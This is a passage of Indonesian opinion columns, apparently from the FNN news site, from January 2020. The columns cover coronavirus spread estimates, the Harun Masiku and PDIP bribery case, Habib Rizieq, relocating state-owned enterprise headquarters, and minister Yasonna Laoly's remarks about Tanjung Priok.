peneliti di sini memperkirakan tingkat penyebaran Corona di China adalah setiap tertular menulari 2.5 (dua setengah) orang lain. Menurut tim Lancester, kalau laju penularan tidak teratasi, maka pada 4 Februari 2020 jumlah yang terjangkit akan sangat besar sekali. Mereka memperkirakan, di kota Wuhan saja akan ada 190,000 orang yang akan terjangkit Corona awal Februari. Wuhan adalah tempat asal ‘outbreak’ virus ganas itu. Kalau situasi ini menjadi kenyataan, maka kota-kota lain di China akan dengan cepat diserbu Corona. Dan penyebaran ke negara-negara lain akan menjadi lebih banyak. Sementara itu, kepala Program Riset Biosecurity di Kirby Institute di Universitas New South Wales, Australia, mengatakan hari Sabtu (25/1/2020) bahwa dia sangat mencemaskan tingkat penyebaran Corona di China. Menurut Raina MacIntyre, semakin cepat penularan di China berarti semakin tinggi pula bahaya yang mengancam dunia. Yang lebih menyeramkan adalah simulasi penyebaran Corona yang dipublikasikan oleh John Hopkins Center for Health Security (JHCHC). Tiga bulan yang lalu (Oktober 2019), para ilmuwan senior di sini melakukan estimasi berbasis komputer. Disimpulkan, virus Corona bisa menjangkiti dan merenggut nyawa 65 juta orang di seluruh dunia dalam rentang waktu 18 bulan saja. Dr Eric Toner, periset senior di John Hopkins, mengatakan dia tidak terkejut dengan wabah Corona di China saat ini. “Saya sudah lama menduga virus yang paling besar kemungkinan untuk menimbulkan wabah baru adalah virus Corona,” kata Toner. “Kami tidak tahu seberapa cepat penyebarnya, tetapi kami tahu virus itu akan menular dari orang ke orang.” Bagaimana dengan Indonesia? Sejauh ini, para pejabat kesehatan di sini baru sebatas mengeluarkan pernyataan bahwa puluhan bandara internasional akan dilengkapi dengan detektor panas tubuh. Tetapi, belum tampak ada sosialisasi yang gencar mengenai virus Corona. Tidak keliru kalau ada kesan bahwa pemerintah Indonesia jauh lebih santai dibanding kasak-kusuk di negara-negara tetangga. Padahal, Indonesia sangat rentan terjangkit mengingat tingginya intensitas keluar-masuk warga China.[] 26 Januari 2020 26 Januari 202 Penulis wartawan senior.

Harun Masiku Sedang Mengikuti Diklat Artificial Intelligent

Kelihatannya, sebelum rampung proses fabrikasi Harun menuju “manusia sempurna”, anda belum bisa berharap Harun akan tertangkap. Pantas diduga dia sedang mengikuti latihan menjawab pertanyaan interrogator KPK. Agar jawabannya tidak menjerumuskan pihak-pihak lain, khususnya para pembesar PDIP. By Asyari Usman Jakarta, FNN - Dari caleg PAW yang tak dikenal, Harun Masiku kini menjadi selebriti medsos sekaligus orang yang sangat dibenci PDIP. Tetapi, dia menjadi orang yang sangat, sangat penting. Dalam istilah keprotokolan, Harun disebut sebagai “Very, Very, Important Person”. Disingkat VVIP. Dengan status VVIP, Harun mungkin saja mendapatkan penjagaan keamanan berlapis. Ring 1, Ring 2, Ring 3, dst. Bila perlu dilengkapi dengan sniper (penembak jitu) yang dipasang di posisi-posisi strategis tanpa diketahui publik. Harun tidak boleh terancam. Dia harus berada di lingkungan “zero threat”. Tidak ada ancaman. Untuk itu, semua ruang yang akan dilalui Harun menuju Gedung Merah Putih KPK harus steril dari bahaya. Lebih-kurang, analogi inilah yang sedang berlaku terhadap Harun. Dia, boleh jadi, lebih penting dari pemilik PDIP. Tapi, jelas lebih penting dari Sekjen Hasto Kristiyanto. PDIP tidak akan cedera kalau Hasto diganti kapan saja, oleh siapa saja. Tetapi, kesaksian Harun bisa membuat Banteng luka parah jika apa yang dia katakan tidak sesuai dengan skenario #SelamatkanPDIP. Jadi, di manakah gerangan Harun Masiku berada? Tidak salah kalau Anda menduga dia masih mengikuti “diklat” yang bertujuan untuk mengubah Harun menjadi manusia yang memiliki “artificial intelligent” (kecerdasan buatan). Harun mungkin juga sedang digodok menjadi “scripted” alias “ternaskah” atau “bernaskah”. Artinya, apa yang disimpan Harun di kepalanya haruslah berupa “new knowledge” (pengetahuan baru). Terutama pengetahuan dia tentang politik PDIP. Tentang trik-trik partai. Tentang bahaya yang bakal menerpa PDIP dan Harun sendiri. Proses tranformasi Harun menjadi “smart robotic creation” (makhluk robotik pintar), melibatkan banyak aspek. Tidak mudah, tidak ringan. Bisa sangat “complicated” (rumit). Harun sedang direedukasi agar bisa menjadi politisi yang artikulat, lancar berbicara, dan memahami skala persoalan yang dihadapinya serta dampaknya terhadap PDIP. Harun haruslah “fully trained” (tergembleng penuh) dan “fully equipped” (bersenjata lengkap) sebelum dia dilepas ke KPK. Kelihatannya, sebelum rampung proses fabrikasi Harun menuju “manusia sempurna”, anda belum bisa berharap Harun akan tertangkap. Pantas diduga dia sedang mengikuti latihan menjawab pertanyaan interrogator KPK. Agar jawabannya tidak menjerumuskan pihak-pihak lain, khususnya para pembesar PDIP. Untuk itu, Harun kemungkinan sedang menjalani proses fortifikasi (penguatan). Dia sedang diperkuat dari segala segi untuk menghadapi KPK. Kuat mental dan kuat argumentasi. Tentu saja durasi “diklat” harus panjang panjang. Tak cukup 2-3 pekan. Sebab, banyak pakar “artificial intelligent” yang melakukan gemblengan one-to-one kepada Harun. Banyak yang harus dikuasai oleh politisi loncat partai itu. Bayangkan Harun berada di ruang bedah yang luas. Dengan alat-alat mutakhir. Tak salah kalau Anda teringat adegan film-film layar lebar seperti “The Terminator”, “I am Legend” atau “Matrix”, dan lain sebagaimanya. Ini skenario canggih. Yang sedihnya, Harun masih belum tertabgkap bukan karena dia sedang mengikuti diklat atau proses fortifikasi fisik dan inteligen. Melainkan disembunyikan sambil menunggu “suasana baru yang kondusif di KPK”. Artinya, menunggu restrukturisasi dan mandulisasi selesai di semua lini badan antikorupsi ini. Barulah kemudian Harun dilepas menuju gedung Merah Putih. Sehingga, begitu dia masuk ke gerbang KPK, tidak ada lagi lingkungan yang “hostile” (galak) di “kerajaan” Firli Bahuri itu. Penulis adalah Wartawan Senior

Waktunya Menghadap ke Mekkah

By Kafil Yamin Jakarta, FNN - Takdir sejarah menempatkan para keturunan Nabi Muhammad SAW pada posisi tak mudah. Mereka sering menjadi tempat ummat untuk mengadukan berbagai masalah sosial, yang antara lain ditimbulkan oleh keputusan dan tindakan penguasa. Pada posisi itu, mereka sering dianggap oposisi bahkan ancaman bagi penguasa. Oleh karena itu, mereka diawasi, dibatasi, ditekan, ditangkap, sampai dibunuh oleh para penguasa yang merasa kekuasaannya terrongrong. Perlakukan penguasa itu sejak penyerahan kekhalifahan dari Hasan bin Abi Thalib, khalifah yang sah, kepada Muawiyah bin Abi Sufyan, khalifah illegal. Padahal, sayyidina Hasan menyerahkan kekhalifahan itu demi menghindari pertumpahan darah antara sesama Muslim. Sejak dinasti Muawiyah, Abbasiyah dan Utsmaniyah berkuasa sampai sekarang, para keturunan ahlul bait senantiasa akrab dengan penekanan, penyingkiran, sampai dengan pembunuhan. Namun demikian, toh keberadaan mereka tak pernah ‘habis’. Untuk menghindari tindakan represif, dan selain karena kesadaran sebagai pewaris darah keluarga Rasulullah, para keturunan Nabi itu umumnya memilih jalan kerohanian. Mereka umumnya menjadi guru dan pembimbing ummat. Namun karena kharisma dan kekuatan mereka, para penguasa sering melihatnya sebagai ancaman. Berkumpulnya jamaah di sekeliling mereka terasa mengganggu ‘kewibawaan’ para amir dan sultan. Sebab penguasa selalu bertumpu pada kekuatan senjata dan kekuasaan. Sebagian besar masyarakat bukan sekedar berkumpul dan menyimak nasihat-nasihat keagaaman dari mereka, namun masyarakat juga berbai’at (besumpah setia) kepada para ahlul bait. Kalau sudah menjadi sasaran bai’at ummat, maka mereka bukan lagi sekedar guru atau ulama. Mereka sudah jadi entitas politik yang tak biasa dibiarkan atau dianggap remeh. Ummat akan lebih taat kepada mereka daripada kepada pemerintah, amir atau sultan. Beberapa tokoh ahlul bait sering tak punya pilihan, kecuali mengikuti keinginan masyarakat untuk mengobarkan perlawanan. Apalagi ketika kebijakan dan tindakan penguasa telah benar-benar menyimpang dari kebenaran. Penguasa yang zolim kepada rakyatnya. Generasi kedelepan keturunan Ali-Fatimah adalah Ahmad Bin Isa, yangh hijrah ke Hadramaut, Yaman, pada tahun 317 H. Hijrah ke Yaman untuk menghindari tekanan penguasa Abbasiyah. Di Hadramaut Yaman, Ahamad Bin Isa mendapat banyak pengikut. Dari Yaman, Ahmad Bin Isa menyebarkan keturunannya ke berbagai wilayah untuk menyebarkan Islam, termasuk ke wilayah Nusantara. Kiprah para keturunan Ahmad Bin Isa inilah, yang antara lain menjadikan Islam agama mayoritas di Nusantara yang mencakup Malaysia, Filipina, Brunai Darussalam, Thailand Selatan dan Indonesia. Di antara keturunan Ahmad Bin Isa itu adalah Muhammad Rizieq Bin Hussein Shihab, akrabb dipanggil Habib Rizieq, pendiri dan Imam Besar Front Pembela Islam (FPI). Habib Rizieq Syihab, sebagaimana para keturunan Nabi lainnya, memusatkan perhatian pada bidang dakwah dan pendidikan. Seraya menghindari gerakan politk formal. Namun karena masalah dakwah dan pendidikan pun sangat terkait erat dengan politk. Sering tak terhindarkan, Habib Riziek Shihab harus berurusan dengan masalah politik. FPI yang didirikannya berusaha memberantas kemaksiatan. Langkah ini sering mendapat penentangan dari pihak-pihak yang mendukung industri hiburan malam, termasuk pemerintah. Akibat sejumlah aktifitasnya tersebut, Habib Rizieq menjadi ancaman bagi berbagai pihak yang mengambil keuntungan dari kekuasaan negara. Dengan memanfaatkan tangan penguasa, pihak-pihak tersebut berusaha memberangus Habib Riziek. Mulai dari serentetan pemanggilan oleh polisi, sampai pada sabotase terhadap pengajian-pengajiannya. FPI yang didirikannya menghadapi ancaman pembubaran dari penguasa. Atas saran dari para sahabatnya, Habib Riziek pun mengamankan diri ke kota Mekkah, Saudi Arabia, sampai sekarang. Meskipun sudah menetap di Mekkah hampir dua tahun, namun pengaruh politiknya di dalam negeri sama sekali tak berkurang. Bahkan terlihat semakin menguat. Dari Mekkah, Habib Riziek bisa mengorganisir sejumlah kegiatan yang mengumpulkan massa Islam dalam jumlha jutaan orang. Sebut saja Reuni 212, Ijtima Ulama I, II dan III di Jakarta yang berlangsung dengan sukses. Kegiatan yang dihadiri sejumlah ulama se-Asia Tenggara. Ijtima Ulama II, antara lain merekonmendasikan untuk memilih pasangan Prabowo Subianto-Sandiaga Uno sebagai Calon Presiden dan Wakil Presiden. Sedangkan Itima Ulama III menyerukan ummat Islam untuk mengambil sikap atas kecurangan Pilpres 2019. Reuni 212 tahun 2019, yang pesertanya diperkirakan mencapai 13 juta orang, menampilkan pidato Habib Rizieq langsung dari Mekkah. Sementara itu, keadaan ekonomi, politik saat ini yang kian mengkhawatirkan di Indonesia. Dengan kasus-kasus korupsi yang makin menjadi-jadi, melibatkan para penentu kebijakan, menyebabkan mereka yang peduli akan nasib negara dan bangsa mencari-cari tokoh yang bisa jadi penyelamat. Kasus korupsi KPU, Dana Haji, Jiwasraya, Bumiputera, Asabri, Garuda, Pertamina, Migas, Pelindo, BPJS, dan Aneka BUMN, yang bernilai puluhan triliunan sampia mendekati ratusan triliunan, menunjukkan negara sedang berada dalam cengkraman penjaran dan pencuri kelas raksasa. Semula, harapan itu ditumpukan kepada pasangan Prabowo-Sandi. Namun Prabowo, meski mengklaim kekalahannya karena dicurangi, tetapi ia malah bergabung dengan Jokowi dan menjadi Menteri Pertahanannya. Dengan demikian, Prabowo sudah tak lagi bisa diharapkan. Jumlah kasus korupsi yang terungkap malah meningkat setelah Prabowo bergabung dengan Pemerintah. Bahasa politik kalangan bawahnya “Nyebong”. Prabowo sering menjadi cibiran bahwa “macan asia telah berubah menjadi kecebong istana”. Dengan demikian, sementara ini, harapan satu-satunya untuk perubahan ke arah yang lebih baik adalah Habib Rizieq. Terutama karena ia tidak mempan ditekan dan diancam dengan kekuatan. Habib Riziek juga tak mempan dibujuk dan diiming-imingi harta dan kekayaan. Kediamannya di Mekkah tak putus-putusnya didatangi rombongan tamu. Teramsuk dari para peziarah yang melaksanakan ibadah umrah. Habib Rizieq menerima sedikitnya 100 tamu setiap hari, termasuk anggota DPR, politisi, artis, wartawan dan ulama. Beberapa kekuatan politik utama dalam negeri, termasuk para petinggi Nahdlatul Ulama, kini mulai menunjukkan sikap yang lebih positif terhadap imam besar itu. Waktunya menghadap ke Mekkah. Penulis adalah Wartawan Senior

Ayo BUMN, Mudiklah ke Daerah!

By Dr. Tito Sulistio, SE. MAF Jakarta, FNN - Ini soal keberpihakan dan wawasan ke depan. Bagaimana pertumbuhan ekonomi dapat merata di seluruh nusantara? Caranya, menggunakan bisnis dan asset negara sebagai instrument untuk mencapai pemerataan. Siapa lagi kalau bukan BUMN. Sebagai sebuah “Badan Usaha” atau lembaga bisnis, BUMN harus bergerak mengikuti kaidah dan prinsip bisnis yang modern dan efisien. Sebagai “Milik Negara” tentu BUMN harus tunduk dan patuh pada tujuan-tujuan bernegara. Salah satu tujuan bernegara dalam UUD 1945 adalah memajukan kesejahteraan umum dan mencerdaskan kehidupan bangsa. Artinya, memajukan pemerataan ekonomi di berbagai daerah. Memajukan kesejahteraan umum, dan menjadikan swasta sebagai patner dan bukan pesaing. Hingga kini, masih banyak yang belum paham. Mengapa 70 lebih dari 115 kantor pusat BUMN berada di Jakarta? Belum pernah terdengar argumen dan penjelasan yang rasional mengapa BUMN harus selalu mempunyai kantor operasi di Jakarta. Apakah dengan berkantor pusat di Jakarta, BUMN tersebut berkembang menjadi Multi National Corporation (MNC) yang berkelas dunia? Ternyata tidak juga. Selain tidak efisien, terkadang sangat mewah, menjulang tinggi. Sayangnya tidak menambah value yang strategis bagi BUMN dan negara. Hanya menjadi “simbol kebanggaan” perseroan semata. Coba ini kita renungkan! Akal sehat dan logika bisnis korporasi saya sering bertanya-tanya. Mengapa BUMN seperti Pupuk Kaltim misalnya, yang material dasarnya di Kalimantan, pabriknya di Kalimantan, pasarnya terutama di Kalimantan, harus mempunyai kantor yang cukup mewah di Jakarta? Begitu juga RNI, yang mempunyai pabrik gula di Jawa Tengah dan Jawa Timur. Dekat dengan lahan perkebunannya. Pasarnya yang tersebar di Jawa, tetapi juga beroperasi dengan kantor gagah di Jakarta. Apakah artinya para Direksi dan Petinggi BUMN ingin selalu dekat dengan kekuasaan? Bukannya mereka harus berinteraksi mengayomi pegawai dan mengawasi kerja operasional hari ke hari perseroan? Aneh memang. Jika semua operasi teknis perseroan berlokasi di luar Jakarta, tetapi fisik para pengelolanya berada dan dibiayai dengan mahal untuk menikmati harumnya kekuasaan di Jakarta. BUMN, seharusnya dapat menjadi lokomotif pembangunan daerah. BUMN memiliki posisi tawar yang sangat tinggi terhadap disinsentif usaha. Selain itu, BUMN juga efektif sebagai alat untuk mentransformasi kebijakan-kebijakan pemerintah yang terkadang masih sulit diimplementasikan di lapangan. BUMN seharusnya mampu menciptakan stimulan yang dapat membangun infrastruktur di daerah. Termasuk sarana pendidikan dan sentra ekonomi lainnya. Dengan BUMN lebih terfokus, pindah dan berkonsentrasi di daerah-daerah, maka diharapkan terjadi multiplier efek yang mampu meningkatkan size perekonomian daerah. Baik melalui accumulated creating capital maupun efek ikutan dari pelaku usaha swasta yang masuk setelah resiko mulai menurun. Sebagai contoh paling sederhana, perusahaan rokok Gudang Garam misalnya. Terlihat dengan jelas bahwa satu perusahaan dapat menggerakkan satu perekonomian daerah (Kota Kediri) di Jawa Timur. Bayangkan jika BUMN melakukan hal yang sama seperti Gudang Garam, yang notabene perusahaan swasta. Dampaknya clustering industry di Indonesia dapat terbentuk. Dengan adanya entitas bisnis yang besar di daerah, diharapkan mendorong desentraliasasi sumberdaya manusia yang unggul ke daerah. Sumberdaya yang selama ini lari ke Jakarta, dapat ditahan karena terdapat tantangan dan kesempatan kerja yang setara di daerah. Jika Direksi RNI dan keluarganya diwajibkan berkantor serta bekerja di dekat pabrik Jawa Tengah, Pupuk Kaltim ke Kalimantan, Angakasa Pura 1 ke Bali, Bukit Asam ke Sumatera Selatan, Pertamina ke Riau, BNI ke Sumatera Utara dan seterusnya, maka dapat dibayangkan bagaimana semua pegawai inti yang berpendidikan serta mapan, pindah ke daerah membawa keluarga. Dipastikan para Komisaris, Direksi dan General Maneger yang pindah ke daerah, otomatis akan ikut pindah membawa kemakmuran yang mereka miliki. Maka clustering pupuk akan terbentuk di Kalimantan, clustering minyak di Riau, seperti clustering kerajinan yang telah terbentuk di Bali. Semua pemasok utama pun pindah. Sekolah sebagai penunjang otomatis berdiri atau menyempurnakan diri. Sentra perekonomian akan bergerak dan yang menarik. Akan terjadi interaksi antar komponen bangsa yang tadinya tidak saling mengenal. Disintegrasi bangsa akan minimal dan kluster industri secara strategis akan terbentuk. Kemajuan teknologi komunikasi dan peningkatan industri transportasi memfasilitasi perseroan untuk beroperasi dengan efisien. Levis telah memindahkan kantor pusatnya jauh ke pinggiran kota. Lippo Group secara taktis memindahkan kantor pusat. Lippo dengan konsisten memaksa semua jajaran SDM-nya pindah ke Karawaci. Lippo Grup berhasil. Lingkungan daerahnya pun berkembang. Tidak ada alasan bagi BUMN untuk kembali memfungsikan dirinya sebagai ’agent of development’, dan mengurangi fungsi komersialnya yang mampu dilakukan pihak swasta. Diperlukan keberanian untuk bertindak dan memerintahkan BUMN yang selama ini merajalela di ibukota. BUMN yang selalu bergaul, bersentuhan langsung dengan pusat kekuasaan, agar dipindahkan secara fisik ke daerah. BUMN harus tampil menjadi ganda terdepan, atau menjadi ujung tombak pemberdayaan ekonomi daerah. Daerah memang tidak mempunyai entitas bisnis besar. Untuk itu, daerah sangat membutuhkan entitas bisnis besar sebagai lokomitif untuk menggali keunggulan komparatifnya. Perpindahan yang juga bisa diartikan berupa ’hijrah’. Perpindahan yang jangan diartikan sebagai kemunduran bahkan pengorbanan. Namun perpindahan yang dirasakan sebagai perjalanan pulang kampung untuk membangun tempat asal. Bahasan kampungnya “mudik”. Dengan berani “Go Daerah” alias “Pulang Kampung”, berarti Pemerintah dan BUMN ikut membuka kesempatan yang lebih luas kepada pihak swasta dan korporasi lokal untuk semakin berkiprah. Ekonomi Indonesia akan terhindar dari bahaya “crowding out”. Perlu dihindari swasta merasa tak ada ruang untuk berusaha dan mengalami demotivasi untuk berinvestasi. Akibatnya, mereka pun menghimpun dana mereka untuk investasi di mana pun di muka bumi ini. Yang penting tempat untuk investasi itu, dinilainya lebih efisien. Seperti kata pepatah, “uang tidak mengenal nasionalisme”. Bukan tidak mungkin, jika mereka melihat BUMN semakin efisien dengan pindah kantor pusatnya ke daerah, maka swasta pun berbondong-bondong ikut berinvestasi di BUMN. Harga saham BUMN pun akan meningkat. Ini dampak dari saham BUMN yang terus dilirik investor. Investor tidak pernah tertarik dengan “simbol kebanggaan” berupa gedung operasional atau kantor pusat yang megah dan mewah. Mereka hanya tertarik dengan efisiensi. Semakin efisien sebuah perusahaan, semakin profitable dan menambah return bagi investor. Pemerintah telah banyak membangun infrastruktur di daerah. Mempunyai komitmen “membangun dari pinggiran”. Saatnya ditindaklanjuti dengan mendorong BUMN untuk kembali ke daerah secara strategis. Diperlukan keberanian pemerintah atau Presiden yang “tanpa beban” untuk memerintahkan Menteri BUMN mendorong “BUMN Mudik ”. Kebijakan “BUMN Mudik” menjadi mendesak. Jika tidak, siapa yang akan mempercepat pemanfaatan infrastruktur di daerah? Pemerintah telah berani merencanakan “pindah ibukota negara”. Saatnya Presiden juga memerintahkan “BUMN Mudik”. Ayu, pindahkan kantor operasional BUMN ke ke seluruh penjuru daerah. Saatnya BUMN menjadi agen pembangunan di setiap daerah. Berani, dan pasti bernai! Penulis adalah Ketua Alumni Dokter Hukum Universitas Pelita Harapan

Kemiskinan dan Perlawanan Anak-Anak Tanjung Priok

Oleh Dr. Syahganda Nainggolan, (Sabang Merauke Circle) Jakarta, FNN - Yosanna Laoly (YL) membuat marah anak-anak Tanjung Priok. Pasalnya YL mengeluarkan pernyataan bahwa Tanjung Priok memproduksi kriminal, Menteng tidak. YL membuat pernyataan itu ketika mengunjungi lembaga pemasyarkatan Narkoba di Jatinegara. Katanya, "Crime is a social product, crime is a social problem. As a social problem, sebagai problem sosial, masyarakat kita semua punya tanggung jawab soal itu. Itu sebabnya kejahatan lebih banyak di daerah miskin," lanjutnya: "Yang membuat itu menjadi besar adalah penyakit sosial yang ada. Itu sebabnya kejahatan lebih banyak terjadi di daerah-daerah miskin. Slum areas (daerah kumuh), bukan di Menteng. Anak-anak Menteng tidak. Tapi, coba pergi ke Tanjung Priok, di situ ada kriminal, lahir dari kemiskinan," YL membela diri ketika anak-anak Tanjung Priok marah, baik tokoh-tokoh selebriti, politik maupun kekuatan massa. Kata YL saya adalah professor kriminologi. Saya punya kapasitas menyatakan itu. Anak-anak Tanjung Priok tetap tidak bisa terima. Sebab, pernyataan seorang menteri seperti itu dianggap merendahkan masyarakat Tanjung Priok dan menstigma mereka seolah-olah preman. Kemiskinan dan Kriminalitas Saat ini anak Yasonna sedang menjadi saksi kasus korupsi eks Walikota Medan di KPK, lalu kawan Yasonna, Hasto Kristyanto, Sekjen PDIP, ditenggarai berurusan dengan KPK dalam kasus korupsi anggota KPU, namun isu ini bukanlah isu kriminalitas. Sebab, kriminalitas dalam statisktik kriminalitas yang ditampilkan BPS hampir tidak menampilkan soal korupsi, melainkan hal-hal menyangkut pencurian, pembunuhan, begal motor, perampokan, pemerkosaan, narkotika dlsb. Ahli kriminologi berusaha terus menerus mencari hubungan kemiskinan dengan perbuatan kriminalitas. ukessay.com menyatakan para ahli kriminologi belum mendapatkan kepastian tentang itu. Menurut literatur yang dibahas di website itu, ada 3 hal penting yang menyebabkan kriminalitas ini, 1) "disadvantaged neighborhoods, 2) "criminal opportunity and social disorganization", dan 3) "unemployment." Yosanna adalah professor yang yakin hubungan kemiskinan penyebab kriminalitas 100%. Sebaliknya, professor Richard Rosenfeld, University of Missouri-St Louis, USA, misalnya, mengatakan "poverty and crime have a nuanced relationship" ( https://www.columbiatribune.com/51c865d8-9d32-58b9-b691-a52dcf6dff48.html).Rosenfeld melihat kemiskinan bukan faktor tunggal menciptakan kriminalitas, hanya mempunyai hubungan tipis. Namun kemiskinan memberi situasi buruk ke arah kriminalitas. Menurutnya, "Having less wealth puts a strain on individuals and families, and the added stress of living in poverty can sometimes lead people to commit crimes to get cash". Dalam agama Islam, misalnya, hadis Nabi mengatakan "Kemiskinan mendekatkan diri pada kekufuran (perbuatan jahat)". Mendekatkan diri itu bukan berarti hubungan langsung, masih perlu "intervening variabel" atau berbagai variabel lain, sehingga membentuk kriminalitas. Jadi apa motif Yosanna mengatakan Tanjung Priok sumber kriminal? Kemiskinan dan Negara Jika Yasonna adalah hanya professor yang sedang menyampaikan pandangan teori kemiskinan, maka soal Tanjung Priok ini tidak memancing kemarahan publik. Pasalnya Yasonna memiliki tiga wajah. Pertama, Yasonna adalah menteri artinya pemerintah atau mewakili negara. Kedua, Yasonna adalah petinggi PDIP, partai berkuasa. Yasonna menunjukkan posisi ini ketika terlibat dalam pembentukan "TIM Hukum" PDIP belakangan ini dalam "konflik" dengan KPK. Ketiga, Yasonna sebagai professor. Yasonna tidak dapat memilah-milah dimensi dirinya kapan semaunya. Karena, ketika Yasonna menjadi menteri, maka tanggungjawab utama dia adalah sebagai wakil negara. Dalam konteks pemimpin negeri, atau elit bangsa, Yasonna tidak bisa menguraikan sebuah komparasi yang membangun stigma jelek pada sebuah komunitas maupun masyarakat. Tanggungjawab seorang menteri dalam kontek kriminalitas di sebuah daerah adalah memastikan 1) akurasi data 2) mencari penyebab 3) membuat program atau agenda aksi sesuai bidangnya. Dalam rekomendasi kebijakan sosial, misalnya, bisa saja pemerintah membangun sebuah daerah hitam, seperti komplek prostitusi dan judi, ataupun perkampungan pemakai narkoba, yang dapat dilakukan demi melokalisasi persoalan sosial agar tidak menjalar ke berbagai daerah. Atau langsung pada kebijakan pengentasan kriminalitas. Sebagai menteri bidang hukum, Yasonna dapat saja melakukan pengentasan kriminalitas itu melalui penegakan hukum, seperti memberantas mafia peradilan, memberikan akses kemudahan perkara dan bantuan hukum bagi orang-orang miskin, dan lalu dapat bekerjasama dengan pemerintahan daerah dalam mengentaskan kemiskinan dan kebodohan di sebuah kota. Perlawanan Anak Anak Tanjung Priok Perlawanan Anak2 Tanjung Priok telah dimulai dimedia sosial dan akan bergerak besok, 22 Januari, demo ke kantor Yasonna. Rizal Kobar dan Jamran adalah kakak beradik yang akan memimpin aksi itu. Keduanya adalah mantan tahanan politik yang dipenjara rezim Jokowi karena peristiwa MAKAR 212, pada tahun 2016 lalu. Kedua sosok ini adalah sosok keras yang pertama sekali terlibat dalam demo-demo anti Ahok beberpa waktu lalu ketika Ahok Gubernur DKI, seperti anti penggusura Kampung Aquarium, anti rencana penggusuran pemukiman Makam Keramat Luar Batang, dll. Anak-anak Tanjung Priok memang sosok keras dari masa ke masa. Dahulu jaman orde baru, senior senior mereka terlibat baku hantam dengan militer dalam kasus "Amir Biki". Tentara menembaki mereka sehingga korban puluhan tewas dan puluhan di penjara. Pada konflik penggusuran makam Mbah Priok, di JICT, mereka juga konflik dengan aparat keamanan. Tokoh gerakannya Haji Usman di penjara dua tahun. Sejarah perlawan anak2 Tj. Priok ini memang menjadi modal sosial mereka untuk mempunyai idealisme. Idealisme ini yang mengantarkan mereka pada pilihan untuk tidak menjadi preman, jika kemiskinan itu memang tetap subur. Penutup Wakil Presiden RI, KH. Makhruf Amin dan mantan menteri BUMN, Sugiharto, adalah dua contoh orang priok yang sukses. Sugiharto adalah penjual tiket karcis bioskop di masa kecilnya. Saat ini dia menguasai saham Jababeka, salah satu perusahaan kawasan industri terbesar di Indonesia. Selain dua orang itu tentu banyak lagi orang2 Priok yang terkenal seperti Ust. Bachtiar Nasir, wakil ketua dprd DKI/ketua Gerindra DKI, berbagai anggota DPR-RI, dll. Dari berbagai uraian ini terlihat ucapan menteri kehakiman Yasonna Laoly tidak jelas perumpamaannya. Berdalih bahwa pernyataannya hanya komparasi dalam kapasitas ke professor an pun kurang dapat dijadikan pegangan. Sebab, hubungan kemiskinan dan kriminalitas bukanlah hubungan sebab akibat yang bersifat langsung. Apalagi faktanya Yasonna adalah seorang menteri. Seorang penguasa bukanlah pembuat wacana, melainkan bertugas memecahkan masalah. Sebagai menteri, Yasonna harus mempunyai kemampuan membaca respon masyarakat. Saat ini masyarakat Tanjung Priok mengalami kemarahan dan kegelisahan karena stigma yang mungkin tidak pantas mereka terima. Ada baiknya Yasonna meminta maaf kepada masyarakat Tanjung Priok, karena pernyataannya tersebut.

Logika Bingung Partai Banteng, Sampai Sprinlidik Bocor?

Oleh Mochamad Toha Jakarta, FNN - Presiden PDIP. Ketua DPR-RI PDIP. Menkumham PDIP. Jaksa Agung PDIP. MenPANRB PDIP. Mensekab PDIP. Motor RUU KPK PDIP. PDIP: Kami Korban Pemerasan Oknum-Oknum Berkuasa. Yang Berkuasa PDIP! Jadi, Oknum PDIP Peras PDIP! Bingung kan jadinya? Apalagi, ternyata politisi PDIP sampai bisa “pegang” Sprinlidik KPK dalam kasus mantan Komisioner KPU Wahyu Setiawan yang diduga terima suap dari politisi PDIP Harun Masiku yang hingga kini dinyatakan “buron” oleh pihak KPK. Bahkan, KPK memeringatkan mereka yang turut menyembunyikan atau membantu pelarian tersangka kasus suap penetapan PAW anggota DPR RI Fraksi PDIP Harun Masiku. Peringatan ini disampaikan Plt Juru Bicara KPK Bidang Penindakan Ali Fikri Menurutnya, mereka yang turut menyembunyikan Harun Masiku bisa dijerat Pasal 21 UU Nomor 31 Tahun 1999 sebagaimana telah diubah dalam UU Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi. “Sangat memungkinkan (diterapkan Pasal 21). Ancaman hukumannya 3 sampai 12 tahun penjara atau denda Rp 150 juta dan maksimal Rp 600 juta,” kata Fikri di Gedung KPK, Jakarta Selatan, Senin (20/1/2020). Fikri memastikan, KPK tak akan menoleransi pihak-pihak yang melindungi pelaku kejahatan korupsi. Menurut Fikri, KPK sangat membutuhkan keterangan Harun untuk pengembangan kasus suap yang melibatkan mantan Komisioner KPU Wahyu Setiawan. Fikri meminta tersangka Harun Masiku juga koorporatif karena nanti akan menjadi bahan pertimbangan meringankan hukuman. “Siapa pun yang tak kooperatif akan dipertimbangkan menjadi alasan yang memberatkan,” tegas Fikri. Ketua KPK Firly Bahuri mengimbau Harun Masuki agar segera menyerahkan diri. Baik itu kepada KPK maupun kepolisian. “Saya imbau HM di mana pun Anda berada, silakan Anda bekerja sama dan kooperatif,” katanya. “Apakah dalam bentuk menyerahkan diri ke penyidik KPK maupun pejabat kepolisian,” ujar Firly Bahuri di Kompleks Parlemen, Jakarta, Senin (20/1/2020). Pihaknya juga bekerja sama bersinergi dengan aparat kepolisian. “Itu sudah kami buat suratnya permohonan permintaan pencarian dan penangkapan lengkap dengan identitas yang bersangkutan,” ungkap Firly Bahuri. Sekarang ini KPK harus bekerja keras untuk menangkap Harun Masiku! Mengapa? Harun Masiku adalah “kunci padora” yang bakal membuka siapa saja yang terlibat dalam upaya suap Wahyu Setiawan. Apalagi, belakangan PDIP memastikan, pihaknya telah menjadi korban pemerasan oknum-oknum tak bertanggung jawab. Seperti dilansir JPNN.com, Kamis (16 Januari 2020 – 06:00 WIB), Tim Pengacara DPP PDIP menyebut bahwa konstruksi hukum yang terjadi (dalam kasus itu) sebenarnya adalah perkara penipuan dan pemerasan yang diduga dilakukan oleh oknum tertentu. Demikian kata Koordinator Tim Pengacara DPP PDIP Teguh Samudra dalam konferensi pers di Kantor DPP PDIP, Jakarta Pusat, Rabu (15/1/2020). Menurutnya, DPP PDIP tak meminta KPU untuk melakukan PAW Nazarudin Kiemas ke Harun Masiku. Namun, yang dilakukan oleh DPP PDIP adalah mengajukan penetapan calon terpilih setelah wafatnya caleg Nazaruddin Kiemas. Dalam mengajukan permohonan penetapan itu, partainya mengacu pada Putusan MA. Dalam putusan MA itu menyebut, permohonan penetapan bisa dilakukan oleh partai politik. “Persoalan sederhana sebagai bagian dari kedaulatan Parpol,” katanya. 